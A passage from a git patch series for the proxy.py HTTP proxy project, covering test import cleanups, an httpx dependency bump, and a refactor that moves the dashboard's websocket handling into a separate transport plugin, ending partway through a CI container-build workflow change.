PLUGIN_WEB_SERVER -from proxy.core.connection import TcpClientConnection -from proxy.http.parser import HttpParser -from proxy.http.proxy import HttpProxyPlugin +from proxy.common.plugins import Plugins +from proxy.common.version import __version__ from proxy.http.responses import ( - BAD_GATEWAY_RESPONSE_PKT, - PROXY_AUTH_FAILED_RESPONSE_PKT, + BAD_GATEWAY_RESPONSE_PKT, PROXY_AUTH_FAILED_RESPONSE_PKT, PROXY_TUNNEL_ESTABLISHED_RESPONSE_PKT, ) -from proxy.http.parser import httpParserStates, httpParserTypes -from proxy.http import HttpProtocolHandler, httpHeaders - +from proxy.core.connection import TcpClientConnection +from proxy.common.constants import ( + CRLF, PLUGIN_HTTP_PROXY, PLUGIN_PROXY_AUTH, PLUGIN_WEB_SERVER, +) from ..test_assertions import Assertions diff --git a/tests/http/test_proxy_protocol.py b/tests/http/test_proxy_protocol.py index f8b609b1b9..1ac340baaa 100644 --- a/tests/http/test_proxy_protocol.py +++ b/tests/http/test_proxy_protocol.py @@ -10,7 +10,7 @@ """ import unittest -from proxy.http.parser import ProxyProtocol, PROXY_PROTOCOL_V2_SIGNATURE +from proxy.http.parser import PROXY_PROTOCOL_V2_SIGNATURE, ProxyProtocol from proxy.http.exception import HttpProtocolException diff --git a/tests/http/test_tls_parser.py b/tests/http/test_tls_parser.py index 1a5a0c93d3..2b6646ed69 100644 --- a/tests/http/test_tls_parser.py +++ b/tests/http/test_tls_parser.py @@ -9,11 +9,11 @@ :license: BSD, see LICENSE for more details. """ import re -import unittest import binascii - from pathlib import Path +import unittest + from proxy.http.parser.tls import TlsParser, tlsContentType, tlsHandshakeType diff --git a/tests/http/test_web_server.py b/tests/http/test_web_server.py index f383b30a6a..58fa47b5b5 100644 --- a/tests/http/test_web_server.py +++ b/tests/http/test_web_server.py @@ -10,23 +10,24 @@ """ import os import gzip -import pytest import tempfile import selectors - from typing import Any + +import pytest + from pytest_mock import MockerFixture -# from unittest import mock -from proxy.common.plugins import Plugins -from proxy.common.flag import FlagParser -from proxy.core.connection import TcpClientConnection from proxy.http import HttpProtocolHandler -from proxy.http.parser import HttpParser, httpParserStates, httpParserTypes -from proxy.common.utils import build_http_response, build_http_request, bytes_ -from proxy.common.constants import CRLF, PLUGIN_HTTP_PROXY, PLUGIN_PAC_FILE, PLUGIN_WEB_SERVER, PROXY_PY_DIR +from proxy.common.flag import FlagParser +from proxy.http.parser import HttpParser, httpParserTypes, httpParserStates +from proxy.common.utils import bytes_, build_http_request, build_http_response +from proxy.common.plugins import Plugins from proxy.http.responses import NOT_FOUND_RESPONSE_PKT - +from proxy.core.connection import TcpClientConnection +from proxy.common.constants import ( + CRLF, PROXY_PY_DIR, PLUGIN_PAC_FILE, PLUGIN_HTTP_PROXY, PLUGIN_WEB_SERVER, +) from ..test_assertions import Assertions diff --git a/tests/http/test_websocket_client.py b/tests/http/test_websocket_client.py index ef500c5b97..4e31e48e30 100644 --- a/tests/http/test_websocket_client.py +++ b/tests/http/test_websocket_client.py @@ -11,8 +11,10 @@ import unittest from unittest import mock -from proxy.common.utils import build_websocket_handshake_response, build_websocket_handshake_request -from proxy.http.websocket import WebsocketClient, WebsocketFrame +from proxy.common.utils import ( + build_websocket_handshake_request, build_websocket_handshake_response, +) +from proxy.http.websocket import WebsocketFrame, WebsocketClient from proxy.common.constants import DEFAULT_PORT diff --git a/tests/integration/test_integration.py b/tests/integration/test_integration.py index 66307d9ccc..ef98d52616 100644 --- a/tests/integration/test_integration.py +++ b/tests/integration/test_integration.py @@ -11,12 +11,12 @@ Test the simplest proxy use scenario for smoke. """ import time -import pytest import tempfile - +from typing import Any, Generator from pathlib import Path -from subprocess import check_output, Popen -from typing import Generator, Any +from subprocess import Popen, check_output + +import pytest from proxy.common.constants import IS_WINDOWS diff --git a/tests/plugin/test_http_proxy_plugins.py b/tests/plugin/test_http_proxy_plugins.py index 50d2055888..3550c3295e 100644 --- a/tests/plugin/test_http_proxy_plugins.py +++ b/tests/plugin/test_http_proxy_plugins.py @@ -10,27 +10,25 @@ """ import gzip import json -import pytest import selectors - +from typing import Any, cast +from urllib import parse as urlparse from pathlib import Path + +import pytest from unittest import mock -from typing import cast, Any -from urllib import parse as urlparse + from pytest_mock import MockerFixture -from proxy.common.flag import FlagParser -from proxy.core.connection import TcpClientConnection -from proxy.http import HttpProtocolHandler -from proxy.http import httpStatusCodes +from proxy.http import HttpProtocolHandler, httpStatusCodes +from proxy.plugin import ProposedRestApiPlugin, RedirectToCustomServerPlugin from proxy.http.proxy import HttpProxyPlugin +from proxy.common.flag import FlagParser from proxy.http.parser import HttpParser, httpParserTypes -from proxy.common.utils import build_http_request, bytes_, build_http_response -from proxy.common.constants import PROXY_AGENT_HEADER_VALUE, DEFAULT_HTTP_PORT -from proxy.plugin import ProposedRestApiPlugin, RedirectToCustomServerPlugin - +from proxy.common.utils import bytes_, build_http_request, build_http_response +from proxy.core.connection import TcpClientConnection +from proxy.common.constants import DEFAULT_HTTP_PORT, PROXY_AGENT_HEADER_VALUE from .utils import get_plugin_by_test_name - from ..test_assertions import Assertions diff --git a/tests/plugin/test_http_proxy_plugins_with_tls_interception.py b/tests/plugin/test_http_proxy_plugins_with_tls_interception.py index 9845980201..55d09b62a6 100644 --- a/tests/plugin/test_http_proxy_plugins_with_tls_interception.py +++ b/tests/plugin/test_http_proxy_plugins_with_tls_interception.py @@ -11,23 +11,23 @@ import ssl import gzip import socket -import pytest import selectors +from typing import Any, cast + +import pytest from pytest_mock import MockerFixture -from typing import Any, cast +from proxy.http import HttpProtocolHandler, httpMethods +from proxy.http.proxy import HttpProxyPlugin from proxy.common.flag import FlagParser +from proxy.http.parser import HttpParser, httpParserTypes from proxy.common.utils import bytes_, build_http_request +from proxy.http.responses import ( + PROXY_TUNNEL_ESTABLISHED_RESPONSE_PKT, okResponse, +) from proxy.core.connection import TcpClientConnection, TcpServerConnection - -from proxy.http import httpMethods, HttpProtocolHandler -from proxy.http.proxy import HttpProxyPlugin -from proxy.http.parser import HttpParser, httpParserTypes -from proxy.http.responses import PROXY_TUNNEL_ESTABLISHED_RESPONSE_PKT, okResponse - from .utils import get_plugin_by_test_name - from ..test_assertions import Assertions diff --git a/tests/plugin/utils.py b/tests/plugin/utils.py index 3e58ff12f9..7e6335057d 100644 --- a/tests/plugin/utils.py +++ b/tests/plugin/utils.py @@ -9,10 +9,13 @@ :license: BSD, see LICENSE for more details. """ from typing import Type -from proxy.http.proxy import HttpProxyBasePlugin -from proxy.plugin import ModifyPostDataPlugin, ProposedRestApiPlugin, RedirectToCustomServerPlugin, \ - FilterByUpstreamHostPlugin, CacheResponsesPlugin, ManInTheMiddlePlugin, FilterByURLRegexPlugin +from proxy.plugin import ( + CacheResponsesPlugin, ManInTheMiddlePlugin, ModifyPostDataPlugin, + ProposedRestApiPlugin, FilterByURLRegexPlugin, FilterByUpstreamHostPlugin, + RedirectToCustomServerPlugin, +) +from proxy.http.proxy import HttpProxyBasePlugin def get_plugin_by_test_name(test_name: str) -> Type[HttpProxyBasePlugin]: diff --git a/tests/test_circular_imports.py b/tests/test_circular_imports.py index 4e6f8d6f77..32763491f0 100644 --- a/tests/test_circular_imports.py +++ b/tests/test_circular_imports.py @@ -18,15 +18,15 @@ * https://github.com/pytest-dev/pytest/blob/d18c75b/testing/test_meta.py * https://twitter.com/codewithanthony/status/1229445110510735361 """ -from itertools import chain -from pathlib import Path -from types import ModuleType -from typing import Generator, List - import os +import sys import pkgutil import subprocess -import sys +from types import ModuleType +from typing import List, Generator +from pathlib import Path +from itertools import chain + import pytest import proxy diff --git a/tests/test_main.py b/tests/test_main.py index 3f8816edda..c2fb4ea872 100644 --- a/tests/test_main.py +++ b/tests/test_main.py @@ -10,24 +10,28 @@ """ import os import tempfile -import unittest +import unittest from unittest import mock from proxy.proxy import main, entry_point -from proxy.common.constants import DEFAULT_PORT_FILE, _env_threadless_compliant # noqa: WPS450 from proxy.common.utils import bytes_ - -from proxy.common.constants import DEFAULT_ENABLE_DASHBOARD, DEFAULT_LOCAL_EXECUTOR, DEFAULT_LOG_LEVEL, DEFAULT_LOG_FILE -from proxy.common.constants import DEFAULT_TIMEOUT, DEFAULT_DEVTOOLS_WS_PATH, DEFAULT_DISABLE_HTTP_PROXY -from proxy.common.constants import DEFAULT_ENABLE_STATIC_SERVER, DEFAULT_ENABLE_EVENTS, DEFAULT_ENABLE_DEVTOOLS -from proxy.common.constants import DEFAULT_ENABLE_WEB_SERVER, DEFAULT_THREADLESS, DEFAULT_CERT_FILE, DEFAULT_KEY_FILE -from proxy.common.constants import DEFAULT_CA_CERT_FILE, DEFAULT_CA_KEY_FILE, DEFAULT_CA_SIGNING_KEY_FILE -from proxy.common.constants import DEFAULT_PAC_FILE, DEFAULT_PLUGINS, DEFAULT_PID_FILE, DEFAULT_PORT, DEFAULT_BASIC_AUTH -from proxy.common.constants import DEFAULT_NUM_WORKERS, DEFAULT_OPEN_FILE_LIMIT, DEFAULT_IPV6_HOSTNAME -from proxy.common.constants import DEFAULT_SERVER_RECVBUF_SIZE, DEFAULT_CLIENT_RECVBUF_SIZE, DEFAULT_WORK_KLASS -from proxy.common.constants import PLUGIN_INSPECT_TRAFFIC, PLUGIN_DASHBOARD, PLUGIN_DEVTOOLS_PROTOCOL, PLUGIN_WEB_SERVER -from proxy.common.constants import PLUGIN_HTTP_PROXY, DEFAULT_NUM_ACCEPTORS, PLUGIN_PROXY_AUTH, DEFAULT_LOG_FORMAT +from proxy.common.constants import ( # noqa: WPS450 + DEFAULT_PORT, DEFAULT_PLUGINS, DEFAULT_TIMEOUT, DEFAULT_KEY_FILE, + DEFAULT_LOG_FILE, DEFAULT_PAC_FILE, DEFAULT_PID_FILE, PLUGIN_DASHBOARD, + DEFAULT_CERT_FILE, DEFAULT_LOG_LEVEL, DEFAULT_PORT_FILE, PLUGIN_HTTP_PROXY, + PLUGIN_PROXY_AUTH, PLUGIN_WEB_SERVER, DEFAULT_BASIC_AUTH, + DEFAULT_LOG_FORMAT, DEFAULT_THREADLESS, DEFAULT_WORK_KLASS, + DEFAULT_CA_KEY_FILE, DEFAULT_NUM_WORKERS, DEFAULT_CA_CERT_FILE, + DEFAULT_ENABLE_EVENTS, DEFAULT_IPV6_HOSTNAME, DEFAULT_NUM_ACCEPTORS, + DEFAULT_LOCAL_EXECUTOR, PLUGIN_INSPECT_TRAFFIC, DEFAULT_ENABLE_DEVTOOLS, + DEFAULT_OPEN_FILE_LIMIT, DEFAULT_DEVTOOLS_WS_PATH, + DEFAULT_ENABLE_DASHBOARD, PLUGIN_DEVTOOLS_PROTOCOL, + DEFAULT_ENABLE_WEB_SERVER, DEFAULT_DISABLE_HTTP_PROXY, + DEFAULT_CA_SIGNING_KEY_FILE, DEFAULT_CLIENT_RECVBUF_SIZE, + DEFAULT_SERVER_RECVBUF_SIZE, DEFAULT_ENABLE_STATIC_SERVER, + _env_threadless_compliant, +) class TestMain(unittest.TestCase): diff --git a/tests/test_set_open_file_limit.py b/tests/test_set_open_file_limit.py index f02e3c2215..d0638a4172 100644 --- a/tests/test_set_open_file_limit.py +++ b/tests/test_set_open_file_limit.py @@ -8,13 +8,13 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ +import pytest import unittest from unittest import mock -import pytest - -from proxy.common.constants import IS_WINDOWS from proxy.common.utils import set_open_file_limit +from proxy.common.constants import IS_WINDOWS + if not IS_WINDOWS: import resource diff --git a/tests/testing/test_embed.py b/tests/testing/test_embed.py index a1f485bf3e..fb594173c1 100644 --- a/tests/testing/test_embed.py +++ b/tests/testing/test_embed.py @@ -9,16 +9,18 @@ :license: BSD, see LICENSE for more details. """ import http.client -import urllib.request import urllib.error +import urllib.request import pytest from proxy import TestCase -from proxy.common.constants import DEFAULT_CLIENT_RECVBUF_SIZE, PROXY_AGENT_HEADER_VALUE, IS_WINDOWS -from proxy.common.utils import socket_connection, build_http_request from proxy.http import httpMethods +from proxy.common.utils import socket_connection, build_http_request from proxy.http.responses import NOT_FOUND_RESPONSE_PKT +from proxy.common.constants import ( + IS_WINDOWS, PROXY_AGENT_HEADER_VALUE, DEFAULT_CLIENT_RECVBUF_SIZE, +) @pytest.mark.skipif( diff --git a/tests/testing/test_test_case.py b/tests/testing/test_test_case.py index daa28d0d63..ae984acce1 100644 --- a/tests/testing/test_test_case.py +++ b/tests/testing/test_test_case.py @@ -9,8 +9,8 @@ :license: BSD, see LICENSE for more details. """ import unittest -import proxy +import proxy from proxy.common.utils import get_available_port From 372a9edb4418b11790373038a5a7b969d8db6940 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 10 Jan 2022 14:01:43 +0530 Subject: [PATCH 14/38] pip prod(deps): bump httpx from 0.20.0 to 0.21.3 (#951) Bumps [httpx](https://github.com/encode/httpx) from 0.20.0 to 0.21.3. - [Release notes](https://github.com/encode/httpx/releases) - [Changelog](https://github.com/encode/httpx/blob/master/CHANGELOG.md) - [Commits](https://github.com/encode/httpx/compare/0.20.0...0.21.3) --- updated-dependencies: - dependency-name: httpx dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> --- requirements-testing.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements-testing.txt b/requirements-testing.txt index 7c2f1cb2b2..0130a6c23a 100644 --- a/requirements-testing.txt +++ b/requirements-testing.txt @@ -16,7 +16,7 @@ mccabe==0.6.1 pylint==2.12.2 rope==0.22.0 # Required by test_http2.py -httpx==0.20.0 +httpx==0.21.3 h2==4.1.0 hpack==4.0.0 hyperframe==6.0.1 From 32acdcb9fe50f2ab425ddb2ef9c5a544e20c1b10 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Mon, 10 Jan 2022 19:48:17 +0530 Subject: [PATCH 15/38] Decouple transport framework from dashboard plugin (#953) * Decouple transport framework from dashboard plugin * Move `InspectTrafficPlugin` within `http.inspector` module * Avoid exporting plugins within `__init__.py` files * Use `/transport/` prefix to avoid #945 conflict issue * Add todo --- dashboard/src/core/ws.ts | 2 +- proxy/common/constants.py | 11 +-- proxy/common/flag.py | 3 +- proxy/core/event/queue.py | 7 +- proxy/core/event/subscriber.py | 22 +++-- proxy/dashboard/__init__.py | 4 - proxy/dashboard/dashboard.py | 62 +------------- proxy/http/inspector/__init__.py | 10 --- .../inspector}/inspect_traffic.py | 12 ++- proxy/http/websocket/__init__.py | 2 + proxy/{dashboard => http/websocket}/plugin.py | 10 +-- proxy/http/websocket/transport.py | 82 +++++++++++++++++++ tests/test_main.py | 3 +- 13 files changed, 121 insertions(+), 109 deletions(-) rename proxy/{dashboard => http/inspector}/inspect_traffic.py (89%) rename proxy/{dashboard => http/websocket}/plugin.py (89%) create mode 100644 proxy/http/websocket/transport.py diff --git a/dashboard/src/core/ws.ts b/dashboard/src/core/ws.ts index 86d534a72d..dc08e0da96 100644 --- a/dashboard/src/core/ws.ts +++ b/dashboard/src/core/ws.ts @@ -14,7 +14,7 @@ export class WebsocketApi { private hostname: string = window.location.hostname ? window.location.hostname : 'localhost'; private port: number = window.location.port ? Number(window.location.port) : 8899; // TODO: Must map to route registered by dashboard.py, don't hardcode - private wsPrefix: string = '/dashboard'; + private wsPrefix: string = '/transport/'; private wsScheme: string = window.location.protocol === 'http:' ? 'ws' : 'wss'; private ws: WebSocket; private wsPath: string = this.wsScheme + '://' + this.hostname + ':' + this.port + this.wsPrefix; diff --git a/proxy/common/constants.py b/proxy/common/constants.py index 176a08fe7b..1da2f5e30a 100644 --- a/proxy/common/constants.py +++ b/proxy/common/constants.py @@ -146,15 +146,16 @@ def _env_threadless_compliant() -> bool: 'HttpProtocolHandlerPlugin', 'HttpProxyBasePlugin', 'HttpWebServerBasePlugin', - 'ProxyDashboardWebsocketPlugin', + 'WebSocketTransportBasePlugin', ] +PLUGIN_PROXY_AUTH = 'proxy.http.proxy.AuthPlugin' +PLUGIN_DASHBOARD = 'proxy.dashboard.ProxyDashboard' PLUGIN_HTTP_PROXY = 'proxy.http.proxy.HttpProxyPlugin' PLUGIN_WEB_SERVER = 'proxy.http.server.HttpWebServerPlugin' PLUGIN_PAC_FILE = 'proxy.http.server.HttpWebServerPacFilePlugin' -PLUGIN_DEVTOOLS_PROTOCOL = 'proxy.http.inspector.DevtoolsProtocolPlugin' -PLUGIN_DASHBOARD = 'proxy.dashboard.ProxyDashboard' -PLUGIN_INSPECT_TRAFFIC = 'proxy.dashboard.InspectTrafficPlugin' -PLUGIN_PROXY_AUTH = 'proxy.http.proxy.AuthPlugin' +PLUGIN_DEVTOOLS_PROTOCOL = 'proxy.http.inspector.devtools.DevtoolsProtocolPlugin' +PLUGIN_INSPECT_TRAFFIC = 'proxy.http.inspector.inspect_traffic.InspectTrafficPlugin' +PLUGIN_WEBSOCKET_TRANSPORT = 'proxy.http.websocket.transport.WebSocketTransport' PY2_DEPRECATION_MESSAGE = '''DEPRECATION: proxy.py no longer supports Python 2.7. Kindly upgrade to Python 3+. ' 'If for some reasons you cannot upgrade, use' diff --git a/proxy/common/flag.py b/proxy/common/flag.py index 06783b9a80..1908aad485 100644 --- a/proxy/common/flag.py +++ b/proxy/common/flag.py @@ -26,7 +26,7 @@ from .constants import DEFAULT_DEVTOOLS_WS_PATH, DEFAULT_DISABLE_HEADERS, PY2_DEPRECATION_MESSAGE from .constants import PLUGIN_DASHBOARD, PLUGIN_DEVTOOLS_PROTOCOL, DEFAULT_MIN_COMPRESSION_LIMIT from .constants import PLUGIN_HTTP_PROXY, PLUGIN_INSPECT_TRAFFIC, PLUGIN_PAC_FILE -from .constants import PLUGIN_WEB_SERVER, PLUGIN_PROXY_AUTH, IS_WINDOWS +from .constants import PLUGIN_WEB_SERVER, PLUGIN_PROXY_AUTH, IS_WINDOWS, PLUGIN_WEBSOCKET_TRANSPORT from .logger import Logger from .version import __version__ @@ -395,6 +395,7 @@ def get_default_plugins( default_plugins.append(PLUGIN_WEB_SERVER) args.enable_static_server = True default_plugins.append(PLUGIN_DASHBOARD) + default_plugins.append(PLUGIN_WEBSOCKET_TRANSPORT) default_plugins.append(PLUGIN_INSPECT_TRAFFIC) args.enable_events = True args.enable_devtools = True diff --git a/proxy/core/event/queue.py b/proxy/core/event/queue.py index f0110e0401..f86ba09b9a 100644 --- a/proxy/core/event/queue.py +++ b/proxy/core/event/queue.py @@ -22,9 +22,10 @@ class EventQueue: - """Global event queue. Must be a multiprocessing.Manager queue because - subscribers need to dispatch their subscription queue over this global - queue. + """Global event queue. Must be a multiprocess safe queue capable of + transporting other queues. This is necessary because currently + subscribers use a separate subscription queue to consume events. + Subscription queue is exchanged over the global event queue. Each published event contains following schema:: diff --git a/proxy/core/event/subscriber.py b/proxy/core/event/subscriber.py index 14b9e8f1a5..14567616ea 100644 --- a/proxy/core/event/subscriber.py +++ b/proxy/core/event/subscriber.py @@ -34,18 +34,16 @@ class EventSubscriber: can be different from publishers. Publishers can even be processes outside of the proxy.py core. - Note that, EventSubscriber cannot share the `multiprocessing.Manager` - with the EventManager. Because EventSubscriber can be started - in a different process than EventManager. - - `multiprocessing.Manager` is used to initialize - a new Queue which is used for subscriptions. EventDispatcher - might be running in a separate process and hence - subscription queue must be multiprocess safe. - - When `subscribe` method is called, EventManager will - start a relay thread which consumes using the multiprocess - safe queue passed to the relay thread. + `multiprocessing.Pipe` is used to initialize a new Queue for + receiving subscribed events from eventing core. Note that, + core EventDispatcher might be running in a separate process + and hence subscription queue must be multiprocess safe. + + When `subscribe` method is called, EventManager stars + a relay thread which consumes event out of the subscription queue + and invoke callback. + + NOTE: Callback is executed in the context of relay thread. """ def __init__(self, event_queue: EventQueue, callback: Callable[[Dict[str, Any]], None]) -> None: diff --git a/proxy/dashboard/__init__.py b/proxy/dashboard/__init__.py index 0f5d329522..96a79affef 100644 --- a/proxy/dashboard/__init__.py +++ b/proxy/dashboard/__init__.py @@ -9,11 +9,7 @@ :license: BSD, see LICENSE for more details. """ from .dashboard import ProxyDashboard -from .inspect_traffic import InspectTrafficPlugin -from .plugin import ProxyDashboardWebsocketPlugin __all__ = [ 'ProxyDashboard', - 'InspectTrafficPlugin', - 'ProxyDashboardWebsocketPlugin', ] diff --git a/proxy/dashboard/dashboard.py b/proxy/dashboard/dashboard.py index 196ff16ac8..6e719d2306 100644 --- a/proxy/dashboard/dashboard.py +++ b/proxy/dashboard/dashboard.py @@ -9,17 +9,11 @@ :license: BSD, see LICENSE for more details. """ import os -import json import logging -from typing import List, Tuple, Any, Dict - -from .plugin import ProxyDashboardWebsocketPlugin - -from ..common.utils import bytes_ +from typing import List, Tuple from ..http.responses import permanentRedirectResponse from ..http.parser import HttpParser -from ..http.websocket import WebsocketFrame from ..http.server import HttpWebServerPlugin, HttpWebServerBasePlugin, httpProtocolTypes logger = logging.getLogger(__name__) @@ -42,24 +36,9 @@ class ProxyDashboard(HttpWebServerBasePlugin): (httpProtocolTypes.HTTPS, r'/dashboard/$'), ] - # Handles WebsocketAPI requests for dashboard - WS_ROUTES = [ - (httpProtocolTypes.WEBSOCKET, r'/dashboard$'), - ] - - def __init__(self, *args: Any, **kwargs: Any) -> None: - super().__init__(*args, **kwargs) - self.plugins: Dict[str, ProxyDashboardWebsocketPlugin] = {} - if b'ProxyDashboardWebsocketPlugin' in self.flags.plugins: - for klass in self.flags.plugins[b'ProxyDashboardWebsocketPlugin']: - p = klass(self.flags, self.client, self.event_queue) - for method in p.methods(): - self.plugins[method] = p - def routes(self) -> List[Tuple[int, str]]: return ProxyDashboard.REDIRECT_ROUTES + \ - ProxyDashboard.INDEX_ROUTES + \ - ProxyDashboard.WS_ROUTES + ProxyDashboard.INDEX_ROUTES def handle_request(self, request: HttpParser) -> None: if request.path == b'/dashboard/': @@ -76,40 +55,3 @@ def handle_request(self, request: HttpParser) -> None: b'/dashboard/proxy.html', ): self.client.queue(permanentRedirectResponse(b'/dashboard/')) - - def on_websocket_open(self) -> None: - logger.info('app ws opened') - - def on_websocket_message(self, frame: WebsocketFrame) -> None: - try: - assert frame.data - message = json.loads(frame.data) - except UnicodeDecodeError: - logger.error(frame.data) - logger.info(frame.opcode) - return - - method = message['method'] - if method == 'ping': - self.reply({'id': message['id'], 'response': 'pong'}) - elif method in self.plugins: - self.plugins[method].handle_message(message) - else: - logger.info(frame.data) - logger.info(frame.opcode) - self.reply({'id': message['id'], 'response': 'not_implemented'}) - - def on_client_connection_close(self) -> None: - logger.info('app ws closed') - # TODO(abhinavsingh): unsubscribe - - def reply(self, data: Dict[str, Any]) -> None: - self.client.queue( - memoryview( - WebsocketFrame.text( - bytes_( - json.dumps(data), - ), - ), - ), - ) diff --git a/proxy/http/inspector/__init__.py b/proxy/http/inspector/__init__.py index 6e968ddebe..232621f0b5 100644 --- a/proxy/http/inspector/__init__.py +++ b/proxy/http/inspector/__init__.py @@ -7,14 +7,4 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. - - .. spelling:: - - http - Submodules """ -from .devtools import DevtoolsProtocolPlugin - -__all__ = [ - 'DevtoolsProtocolPlugin', -] diff --git a/proxy/dashboard/inspect_traffic.py b/proxy/http/inspector/inspect_traffic.py similarity index 89% rename from proxy/dashboard/inspect_traffic.py rename to proxy/http/inspector/inspect_traffic.py index 33fa212091..4c646974e2 100644 --- a/proxy/dashboard/inspect_traffic.py +++ b/proxy/http/inspector/inspect_traffic.py @@ -11,15 +11,13 @@ import json from typing import List, Dict, Any -from .plugin import ProxyDashboardWebsocketPlugin +from ...common.utils import bytes_ +from ...core.event import EventSubscriber +from ...core.connection import TcpClientConnection +from ..websocket import WebsocketFrame, WebSocketTransportBasePlugin -from ..common.utils import bytes_ -from ..core.event import EventSubscriber -from ..core.connection import TcpClientConnection -from ..http.websocket import WebsocketFrame - -class InspectTrafficPlugin(ProxyDashboardWebsocketPlugin): +class InspectTrafficPlugin(WebSocketTransportBasePlugin): """Websocket API for inspect_traffic.ts frontend plugin.""" def __init__(self, *args: Any, **kwargs: Any) -> None: diff --git a/proxy/http/websocket/__init__.py b/proxy/http/websocket/__init__.py index 350ab7b8ac..5017387395 100644 --- a/proxy/http/websocket/__init__.py +++ b/proxy/http/websocket/__init__.py @@ -17,9 +17,11 @@ """ from .frame import WebsocketFrame, websocketOpcodes from .client import WebsocketClient +from .plugin import WebSocketTransportBasePlugin __all__ = [ 'websocketOpcodes', 'WebsocketFrame', 'WebsocketClient', + 'WebSocketTransportBasePlugin', ] diff --git a/proxy/dashboard/plugin.py b/proxy/http/websocket/plugin.py similarity index 89% rename from proxy/dashboard/plugin.py rename to proxy/http/websocket/plugin.py index 86032c69e0..f6881632a9 100644 --- a/proxy/dashboard/plugin.py +++ b/proxy/http/websocket/plugin.py @@ -13,13 +13,13 @@ from abc import ABC, abstractmethod from typing import List, Dict, Any -from ..common.utils import bytes_ -from ..http.websocket import WebsocketFrame -from ..core.connection import TcpClientConnection -from ..core.event import EventQueue +from ...common.utils import bytes_ +from . import WebsocketFrame +from ...core.connection import TcpClientConnection +from ...core.event import EventQueue -class ProxyDashboardWebsocketPlugin(ABC): +class WebSocketTransportBasePlugin(ABC): """Abstract class for plugins extending dashboard websocket API.""" def __init__( diff --git a/proxy/http/websocket/transport.py b/proxy/http/websocket/transport.py new file mode 100644 index 0000000000..07a8328a01 --- /dev/null +++ b/proxy/http/websocket/transport.py @@ -0,0 +1,82 @@ +# -*- coding: utf-8 -*- +""" + proxy.py + ~~~~~~~~ + ⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on + Network monitoring, controls & Application development, testing, debugging. + + :copyright: (c) 2013-present by Abhinav Singh and contributors. + :license: BSD, see LICENSE for more details. +""" +import json +import logging +from typing import List, Tuple, Any, Dict + +from ...common.utils import bytes_ + +from ..server import httpProtocolTypes, HttpWebServerBasePlugin +from ..parser import HttpParser + +from .frame import WebsocketFrame +from .plugin import WebSocketTransportBasePlugin + +logger = logging.getLogger(__name__) + + +class WebSocketTransport(HttpWebServerBasePlugin): + """WebSocket transport framework.""" + + def __init__(self, *args: Any, **kwargs: Any) -> None: + super().__init__(*args, **kwargs) + self.plugins: Dict[str, WebSocketTransportBasePlugin] = {} + if b'WebSocketTransportBasePlugin' in self.flags.plugins: + for klass in self.flags.plugins[b'WebSocketTransportBasePlugin']: + p = klass(self.flags, self.client, self.event_queue) + for method in p.methods(): + self.plugins[method] = p + + def routes(self) -> List[Tuple[int, str]]: + return [ + (httpProtocolTypes.WEBSOCKET, r'/transport/$'), + ] + + def handle_request(self, request: HttpParser) -> None: + raise NotImplementedError() + + def on_websocket_open(self) -> None: + # TODO(abhinavsingh): Add connected callback invocation + logger.info('app ws opened') + + def on_websocket_message(self, frame: WebsocketFrame) -> None: + try: + assert frame.data + message = json.loads(frame.data) + except UnicodeDecodeError: + logger.error(frame.data) + logger.info(frame.opcode) + return + + method = message['method'] + if method == 'ping': + self.reply({'id': message['id'], 'response': 'pong'}) + elif method in self.plugins: + self.plugins[method].handle_message(message) + else: + logger.info(frame.data) + logger.info(frame.opcode) + self.reply({'id': message['id'], 'response': 'not_implemented'}) + + def on_client_connection_close(self) -> None: + # TODO(abhinavsingh): Add disconnected callback invocation + logger.info('app ws closed') + + def reply(self, data: Dict[str, Any]) -> None: + self.client.queue( + memoryview( + WebsocketFrame.text( + bytes_( + json.dumps(data), + ), + ), + ), + ) diff --git a/tests/test_main.py b/tests/test_main.py index c2fb4ea872..bcad1e5bd4 100644 --- a/tests/test_main.py +++ b/tests/test_main.py @@ -29,7 +29,7 @@ DEFAULT_ENABLE_DASHBOARD, PLUGIN_DEVTOOLS_PROTOCOL, DEFAULT_ENABLE_WEB_SERVER, DEFAULT_DISABLE_HTTP_PROXY, DEFAULT_CA_SIGNING_KEY_FILE, DEFAULT_CLIENT_RECVBUF_SIZE, - DEFAULT_SERVER_RECVBUF_SIZE, DEFAULT_ENABLE_STATIC_SERVER, + DEFAULT_SERVER_RECVBUF_SIZE, DEFAULT_ENABLE_STATIC_SERVER, PLUGIN_WEBSOCKET_TRANSPORT, _env_threadless_compliant, ) @@ -243,6 +243,7 @@ def test_enable_dashboard( mock_load_plugins.call_args_list[0][0][0], [ bytes_(PLUGIN_WEB_SERVER), bytes_(PLUGIN_DASHBOARD), + bytes_(PLUGIN_WEBSOCKET_TRANSPORT), bytes_(PLUGIN_INSPECT_TRAFFIC), bytes_(PLUGIN_DEVTOOLS_PROTOCOL), bytes_(PLUGIN_HTTP_PROXY), From 7d20e437b3df34a598ba169a4d748c6513efec6e Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Mon, 10 Jan 2022 20:41:09 +0530 Subject: [PATCH 16/38] Build containers in parallel and pre-check (#954) * Build containers in parallel and pre-check * Fix loop in workflow * Test container needs build --- .github/workflows/test-library.yml | 213 +++++++++++++++++++++++------ 1 file changed, 171 insertions(+), 42 deletions(-) diff --git a/.github/workflows/test-library.yml b/.github/workflows/test-library.yml index 46b01bb7c1..785df5a80c 100644 --- a/.github/workflows/test-library.yml +++ b/.github/workflows/test-library.yml @@ -540,6 +540,66 @@ jobs: flags: pytest, GHA, Python ${{ matrix.python }}, ${{ runner.os }} verbose: true + test-container: + runs-on: Ubuntu-latest + permissions: + packages: write + if: success() + needs: + - pre-setup # transitive, for accessing settings + - build + name: 🐳 Build & Test + strategy: + fail-fast: false + steps: + - name: Checkout + uses: actions/checkout@v2 + with: + 